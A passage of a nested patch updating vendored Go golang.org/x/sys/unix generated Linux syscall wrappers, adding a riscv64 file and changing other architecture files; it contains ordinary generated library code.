-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1734,7 +337,7 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1755,8 +358,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +369,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1876,8 +481,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1886,13 +496,8 @@ func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2091,6 +696,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2127,8 +747,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2137,8 +762,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2155,3 +780,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func syncFileRange2(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(flags), uintptr(off), uintptr(n), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
-new file mode 100644
-index 00000000..b7613344
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
-@@ -0,0 +1,582 @@
-+// go run mksyscall.go -tags linux,riscv64 syscall_linux.go syscall_linux_riscv64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build linux,riscv64
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getegid() (egid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Listen(s int, n int) (err error) {
-+ _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(n), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SENDFILE, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-+ written = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setregid(rgid int, egid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresgid(rgid int, egid int, sgid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresuid(ruid int, euid int, suid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Shutdown(fd int, how int) (err error) {
-+ _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(fd), uintptr(how), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, buf *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_ACCEPT4, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), uintptr(flags), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-+ nn = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flags), uintptr(fd), uintptr(offset))
-+ xaddr = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-index b6ff9e39..9bc353f0 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
-+// go run mksyscall.go -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,s390x
-@@ -14,1446 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
